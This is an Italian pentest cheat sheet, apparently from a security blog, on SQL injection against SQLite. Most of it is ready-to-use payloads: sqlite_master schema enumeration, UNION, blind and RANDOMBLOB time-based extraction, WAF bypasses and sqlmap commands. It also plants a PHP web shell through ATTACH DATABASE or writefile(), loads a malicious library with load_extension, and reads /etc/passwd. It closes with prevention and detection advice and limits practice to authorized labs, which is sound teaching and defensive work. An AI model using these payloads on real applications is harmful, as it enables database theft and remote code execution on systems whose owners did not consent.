web-hacking

SQL Injection SQLite: Cheat Sheet e Payload per Pentest

SQL Injection SQLite: Cheat Sheet e Payload per Pentest

Guida SQLite SQL injection: payload UNION, exploit, blind, time-based, enumerazione sqlite_master, RCE con ATTACH DATABASE e load_extension, bypass WAF, difese.

  • Pubblicato il 2026-11-06
  • Tempo di lettura: 10 min

SQL Injection su SQLite: Guida Pratica a Payload, Enumerazione e RCE #

La SQL injection su SQLite è una vulnerabilità che permette di inserire codice SQL dentro una query dell’applicazione e farlo eseguire dal motore SQLite. SQLite non è un server di rete come MySQL o PostgreSQL: è una libreria che gira dentro l’applicazione stessa (app desktop, mobile, molti CMS leggeri, estensioni browser). Questo cambia alcune cose: niente information_schema, niente SLEEP() diretta, ma un paio di trucchi specifici — come ATTACH DATABASE — che su altri DBMS non esistono.

Questa guida copre rilevamento, enumerazione dello schema, estrazione blind, time-based “fatto in casa” ed esecuzione di codice tramite ATTACH DATABASE e load_extension. Ogni payload è spiegato in parole semplici. Ultimo aggiornamento: ottobre 2026.

Da provare solo su lab e target autorizzati (Hack The Box, DVWA, PortSwigger Academy, CTF). Per la teoria generale parti da SQL Injection ; per gli altri DBMS ci sono SQL Injection MySQL , SQL Injection PostgreSQL , SQL Injection Oracle e SQL Injection MSSQL .


Perché SQLite è diverso dagli altri DBMS #

Prima dei payload, due cose da avere in testa:

  • Non c’è un server a cui connettersi. SQLite è una libreria linkata dentro l’app: non esiste una porta di rete da scansionare, e non c’è un “utente del database” separato da quello del sistema operativo che fa girare l’app.
  • Non c’è information_schema. Lo schema del database (tabelle, colonne, indici) è salvato in una tabella speciale chiamata sqlite_master (ribattezzata sqlite_schema dalla versione 3.33.0, ma sqlite_master resta disponibile come alias per compatibilità — qui usiamo sqlite_master perché funziona su più versioni).

Commenti in SQLite #

TipoSintassi
Commento a riga singola--
Commento multi-riga/* ... */

Identico a PostgreSQL e Oracle: niente #.


Come capire se il parametro è vulnerabile #

sql
?id=1'
?id=1''
?id=1 AND 1=1
?id=1 AND 1=2

Stesso principio di sempre. Un test aggiuntivo specifico per SQLite, utile come “canarino” per confermare l’injection senza estrarre nulla: load_extension() si aspetta una stringa come primo argomento. Passandogli un numero (load_extension(1)), SQLite restituisce un errore di tipo che, se visibile, confirma sia che l’injection funziona sia che la funzione load_extension esiste (passaggio importante per la RCE più avanti).

sql
' AND load_extension(1)='1

Enumerazione #

CosaQuery SQL
Versione di SQLiteSELECT sqlite_version();

Non c’è altro da enumerare come “nome del database” o “utente corrente”: SQLite non ha questi concetti, perché ogni file .db è il database, e non esiste un sistema di utenti interno.


Metodologia: leggere la struttura del database #

Tutta la struttura (tabelle, colonne, indici, trigger) vive in sqlite_master, in una colonna chiamata sql che contiene il comando CREATE TABLE originale.

sql
-- Full database structure (all CREATE TABLE/INDEX/TRIGGER)
SELECT sql FROM sqlite_master
-- Equivalent on SQLite > 3.33.0
SELECT sql FROM sqlite_master

-- List table names
SELECT tbl_name FROM sqlite_master WHERE type='table'
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%'

-- List a table's columns (four different ways)
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name='table_name'
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='table_name'
SELECT name FROM PRAGMA_TABLE_INFO('table_name')

Due dettagli utili:

  • tbl_name NOT LIKE 'sqlite_%' esclude le tabelle di sistema (come sqlite_sequence), così vedi solo le tabelle dell’applicazione.
  • PRAGMA_TABLE_INFO('table_name') è una table-valued function: una funzione che restituisce righe, come se fosse una tabella. Funziona dentro una SELECT ... FROM normale, e nelle versioni più recenti puoi anche richiamarla con SELECT * FROM pragma_table_info('table_name') per avere nome, tipo e se è chiave primaria di ogni colonna in un colpo solo.
  • La colonna sql di sqlite_master ti dà anche il nome delle colonne senza doverle enumerare una per una: leggendo quella singola riga vedi l’intero CREATE TABLE, comprese le colonne.

UNION Based #

sql
-1 UNION SELECT NULL,NULL,NULL
-1 UNION SELECT NULL,sqlite_version(),NULL
-1 UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE type='table' LIMIT 1

Conta le colonne con ORDER BY n incrementale, come sugli altri DBMS. SQLite è molto permissivo sui tipi (non ha una vera tipizzazione rigida delle colonne, concetto chiamato “type affinity”), quindi NULL o stringhe generiche vanno quasi sempre bene al posto dei valori che non ti servono.


Blind SQL Injection #

Senza output né errori visibili, SQLite si presta bene a questo approccio perché le funzioni di confronto sono semplici e dirette.

sql
-- Count how many tables there are (numeric comparison)
AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%') < table_count

-- Discover the length of the first table's name
AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = table_name_length

-- Extract one character at a time, comparing in hex
AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('test_char')

hex() trasforma un carattere nella sua rappresentazione esadecimale: confrontare in esadecimale invece che come lettera permette di usare > e < per la bisezione, anche quando il carattere è uno spazio, un apice o un altro simbolo che sarebbe scomodo scrivere direttamente nel payload.

Variante con ORDER BY #

Se l’injection è nella clausola ORDER BY (dove non puoi usare AND/OR direttamente), usa CASE WHEN per scegliere tra due colonne diverse in base alla condizione — l’ordinamento dei risultati che vedi ti dice se la condizione era vera:

sql
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('test_char') THEN column_1 ELSE column_2 END

Se la condizione è vera, i risultati sono ordinati per column_1, altrimenti per column_2. Guardando l’ordine delle righe nella pagina, deduci la risposta.

Funzioni per estrarre sottostringhe #

FunzioneEsempio
SUBSTRSUBSTR('foobar', start, length)
SUBSTRINGSUBSTRING('foobar', start, length)

Sono alias l’una dell’altra, stessa sintassi di MySQL e PostgreSQL.


Time Based “fatto in casa” #

SQLite non ha una funzione SLEEP(). Per ottenere un ritardo misurabile, il trucco è far fare al database un calcolo pesante solo quando la condizione è vera: convertire in esadecimale un blob casuale enorme.

sql
1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

Come funziona, pezzo per pezzo:

  1. RANDOMBLOB(n) genera n byte casuali.
  2. HEX(...) li converte in una stringa esadecimale, un’operazione che su un blob enorme (qui circa 250 milioni di byte) richiede un tempo misurabile.
  3. UPPER(...) è solo un passaggio in più che aggiunge lavoro.
  4. LIKE('ABCDEFG', ...) confronta il risultato con una stringa fissa: siccome l’esito del confronto non ti interessa (è quasi sempre falso), serve solo a dare un contesto booleano all’espressione.

Il numero (500000000) lo calibri in base alla potenza del server target: troppo basso non si nota, troppo alto rischia di bloccare altre richieste. Per renderlo condizionale, lo inserisci dentro un CASE WHEN:

sql
1 AND 1=(CASE WHEN (condizione) THEN LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) ELSE 0 END)

Se condizione è vera, il database fa il calcolo pesante e la risposta è lenta; se è falsa, salta dritto a 0 e risponde subito. È lo stesso principio di IF(cond, SLEEP(n), 0) su MySQL, solo che qui il “sonno” lo costruisci tu con un calcolo al posto di una funzione dedicata.


RCE con ATTACH DATABASE #

SQLite permette di aprire o creare un nuovo file di database a un percorso qualsiasi con ATTACH DATABASE, e di scriverci dentro con CREATE TABLE e INSERT. Se riesci a farlo puntare dentro la web root dell’applicazione, puoi far scrivere un file che il server interpreta come codice.

sql
ATTACH DATABASE '/var/www/html/shell.php' AS new;
CREATE TABLE new.pwn (dataz text);
INSERT INTO new.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');

Cosa succede: SQLite crea un file .db vero e proprio a quel percorso, con tutto il suo formato binario interno — non un file PHP pulito. Ma dentro quel file binario, in chiaro, finisce anche la stringa che hai inserito con INSERT, cioè <?php system($_GET["cmd"]); ?>. PHP (e molti altri linguaggi) non si preoccupano del resto del file: cercano il tag di apertura <?php e interpretano tutto da lì in poi come codice, ignorando i byte binari che lo circondano. Il risultato è una webshell funzionante, anche se il file “sembra” un database SQLite se lo apri con un editor esadecimale.

Richiede che l’applicazione esegua query multiple (stacked query) o che l’injection sia dentro un contesto che supporta più statement. Richiede anche permessi di scrittura del processo dell’applicazione sulla cartella target — di norma sono gli stessi permessi con cui gira il server web, quindi è un requisito spesso già soddisfatto.


RCE con load_extension #

SQLite può caricare librerie native condivise (.so su Linux, .dll su Windows) come estensioni, con funzioni scritte in C che vengono eseguite dentro il processo dell’applicazione.

sql
SELECT load_extension('/path/to/your/malicious_library.so');

Il grande limite: il caricamento di estensioni è disabilitato di default dalla maggior parte delle librerie che integrano SQLite, e va attivato esplicitamente dal codice dell’applicazione con una chiamata a livello di API C (sqlite3_enable_load_extension oppure, su SQLite più recente, sqlite3_db_config con il flag SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION). Se l’applicazione non lo ha abilitato — ed è il caso più comune — questa funzione restituisce semplicemente un errore e la via è chiusa. Vale la pena provarla comunque: alcune applicazioni la attivano per funzionalità legittime (estensioni full-text search, geospaziali) senza rendersi conto del rischio.

Serve inoltre che tu riesca a portare una libreria compilata sul filesystem del target (per esempio tramite ATTACH DATABASE o un’altra vulnerabilità di upload), compilata per la stessa architettura e lo stesso sistema operativo del server.


Scrittura di file con writefile() #

Alcune build di SQLite includono l’estensione fileio, che aggiunge funzioni per leggere e scrivere file direttamente da SQL. È l’estensione usata dal tool a riga di comando sqlite3, ma non sempre è compilata dentro le librerie che le applicazioni usano in produzione.

sql
SELECT writefile('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');

Se disponibile, writefile() è molto più comodo di ATTACH DATABASE: scrive esattamente il contenuto che gli passi, senza il “rumore” binario del formato database. Prova sempre questa prima; se restituisce un errore “no such function”, l’estensione non è compilata e passi a ATTACH DATABASE.

Lettura file: SQLite di base non ha una funzione di lettura file generica come LOAD_FILE di MySQL. L’estensione fileio aggiunge anche readfile(), ma — ripetendo — non è sempre presente:

sql
SELECT readfile('/etc/passwd');

Bypass del WAF #

Apici bloccati #

sql
SELECT char(72)||char(73);  -- restituisce 'HI'

char(n) funziona come CHR() di Oracle/PostgreSQL: un carattere per codice, concatenato con || (l’operatore di concatenazione, identico a PostgreSQL e Oracle, diverso da CONCAT() di MySQL).

Parole chiave filtrate #

Se è bloccatoProva
UNION SELECTUNION ALL SELECT
information_schema (se un filtro lo cerca comunque)Non serve: SQLite non lo ha, usa sempre sqlite_master
SpaziCommenti /**/ o parentesi, come sugli altri DBMS

Nessun commento versionato #

Come PostgreSQL e Oracle, SQLite non ha l’equivalente di /*!50000...*/ di MySQL: quel trucco non esiste qui.


Tecniche avanzate extra: funzioni JSON #

Dalla versione 3.9 (2015), SQLite include di default l’estensione JSON1, usata da moltissime app che salvano dati strutturati in una colonna di testo in formato JSON. Se l’injection colpisce una di queste colonne, queste funzioni ti servono a leggerci dentro senza dover analizzare il testo a mano.

sql
-- Estrae un campo da un documento JSON
SELECT json_extract(data, '$.user') FROM profili;

-- Stessa cosa con l'operatore freccia (SQLite 3.38+, equivalente e più corto)
SELECT data->'$.user' FROM profili;
SELECT data->>'$.user' FROM profili;

-- Turn a JSON column into rows, useful for arrays
SELECT value FROM json_each((SELECT data FROM profili LIMIT 1), '$.tags');

json_extract e gli operatori ->/->> seguono la stessa sintassi di percorso vista per MySQL e PostgreSQL ($ è la radice, .campo una proprietà, [n] un indice di array). json_each è una table-valued function che “spacca” un array JSON in righe separate, comoda quando il dato che ti interessa è dentro un array e non vuoi analizzarlo come stringa unica.


Tecniche avanzate extra: apici senza apici e dettagli sulla CLI #

Scrivere un apice senza usare il carattere apice. Oltre a char(), SQLite permette di costruire una stringa a partire dal suo valore esadecimale con cast(... as text):

sql
SELECT cast(X'27' as text); -- produce un apice singolo: '
SELECT cast(X'22' as text); -- produce un apice doppio: "

X'27' è il letterale esadecimale per il carattere apice singolo (0x27 in ASCII); cast(... as text) lo trasforma in una stringa di testo normale. È un’alternativa a char(39) quando il filtro blocca char() ma non cast() o i letterali esadecimali.

load_extension nella CLI ufficiale. Nella libreria SQLite integrata in molte applicazioni, load_extension() è disabilitata di default (come visto sopra). Ma se il target gira tramite il comando sqlite3 da riga di comando (non raro in script di amministrazione o tool interni), load_extension è abilitata automaticamente in quell’ambiente — un dettaglio da verificare se riesci a capire che il backend invoca il binario CLI invece di una libreria embedded.

Il comando .load e edit() della CLI. Sempre parlando della CLI ufficiale sqlite3 (non della sintassi SQL pura), esiste un comando apposito .load percorso/estensione per caricare estensioni, e una funzione edit() pensata per apire un editor di testo esterno su un valore — se il backend esegue input utente come comandi della shell CLI (scenario raro, ma possibile in tool di scripting mal progettati), edit() può arrivare a eseguire comandi di sistema tramite l’editor configurato. Non è SQL injection in senso stretto, ma è il tipo di dettaglio da conoscere se stai testando strumenti che espongono la shell sqlite3 stessa, non solo query applicative.

Automatizzare con sqlmap #

bash
sqlmap -u "http://target/page.php?id=1" --dbms=sqlite --batch
sqlmap -u "http://target/page.php?id=1" --dbms=sqlite --tables
sqlmap -u "http://target/page.php?id=1" --dbms=sqlite --technique=T
sqlmap -u "http://target/page.php?id=1" --dbms=sqlite --sql-shell

sqlmap riconosce SQLite e adatta automaticamente le query a sqlite_master. Non esiste un equivalente di --os-shell affidabile come per MySQL o PostgreSQL: la RCE su SQLite è più situazionale (dipende da ATTACH DATABASE e dai permessi di scrittura, o dalla rara disponibilità di load_extension/writefile), quindi spesso va costruita a mano.


Flusso operativo: dal parametro ai dati #

  1. Trova il parametro e conferma con ', AND 1=1 / AND 1=2, oppure con load_extension(1) come canarino.
  2. Enumera la versione: sqlite_version().
  3. Leggi lo schema: sqlite_master, colonna sql, per vedere tabelle e colonne in un colpo solo.
  4. Scegli la tecnica: UNION se vedi output, blind con hex(substr(...)) altrimenti, time-based con RANDOMBLOB/HEX come ultima risorsa.
  5. Valuta la scrittura: writefile() se disponibile, altrimenti ATTACH DATABASE se hai stacked query e permessi di scrittura sulla cartella giusta.
  6. Prova load_extension, sapendo che nella maggior parte dei casi sarà disabilitato.
  7. Documenta: payload, risposta e impatto reale per il report.

Come difendersi e come rilevare l’attacco #

Prevenzione

  • Query parametrizzate ovunque: è l’unica difesa che chiude il problema alla radice, e su SQLite è supportata nativamente da tutte le librerie client principali.
  • Disabilita il caricamento di estensioni a livello di codice, se l’applicazione non ne ha davvero bisogno (sqlite3_enable_load_extension mai chiamato, o chiamato con 0).
  • Limita ATTACH DATABASE con un authorizer (sqlite3_set_authorizer nell’API C) che blocca l’operazione se l’applicazione non deve mai aprire database aggiuntivi a runtime.
  • Non far girare il processo dell’app con permessi di scrittura sulla web root, se non strettamente necessario: è il requisito che rende possibile la RCE via ATTACH DATABASE.
  • Tieni il file del database fuori dalla web root e non mostrare errori SQL grezzi all’utente.

Rilevazione

  • Nei log dell’applicazione cerca sqlite_master, ATTACH DATABASE, load_extension, writefile, randomblob.
  • Allarme su nuovi file .php o script eseguibili creati nella web root senza un deploy corrispondente.
  • Query inconsuete che richiedono tempi di risposta molto più lunghi della norma (tipico segnale di time-based con RANDOMBLOB).

Domande frequenti #

Cos’è una SQL injection su SQLite? #

È una vulnerabilità in cui l’input dell’utente finisce senza controlli dentro una query eseguita dalla libreria SQLite, permettendo di leggere la struttura e i dati del database e, in condizioni particolari, di scrivere file sul filesystem dell’applicazione.

Come faccio a sapere se un target usa SQLite? #

Non c’è una porta di rete da controllare come per gli altri DBMS. Il segnale più diretto è un messaggio d’errore che menziona “SQLite” o percorsi tipo .db/.sqlite. Altrimenti, prova sqlite_version(): se restituisce un numero di versione, è SQLite.

Perché non trovo information_schema? #

Perché SQLite non lo implementa. Usa sempre sqlite_master (o sqlite_schema dalla 3.33.0, con sqlite_master ancora valido come alias retrocompatibile).

Posso sempre leggere file con SQLite injection? #

No, anzi è raro: serve l’estensione fileio con readfile(), non sempre compilata. La via più comune non è leggere file ma scriverli, con writefile() o ATTACH DATABASE.

load_extension non funziona, perché? #

Quasi certamente perché l’applicazione non ha abilitato il caricamento di estensioni, che è disattivato di default. Senza quell’abilitazione lato codice, la funzione resta bloccata indipendentemente dal payload che usi.

Come mi esercito in modo legale? #

Con ambienti autorizzati: DVWA e altri lab vulnerabili (molte challenge CTF usano proprio SQLite per la sua semplicità), le macchine di Hack The Box e i lab PortSwigger Academy. Mai su siti senza autorizzazione scritta.


Conclusione #

SQLite ribalta alcune abitudini prese con MySQL e PostgreSQL: niente rete, niente information_schema, niente SLEEP() — e in cambio offre ATTACH DATABASE, una delle vie di RCE più particolari tra tutti i DBMS di questa serie, perché sfrutta il modo in cui PHP (e linguaggi simili) interpretano i file indipendentemente da cosa li circonda. La parte più importante da ricordare è sqlite_master: una volta che sai leggere quella tabella, hai in mano l’intera struttura del database in un colpo solo.

Questa guida segue la struttura della pagina SQLite di PayloadsAllTheThings , arricchita con spiegazioni, requisiti e difese.

#SQL Injection #SQLite #WAF Bypass #sqlmap

lascia un messaggio

Non sono un robot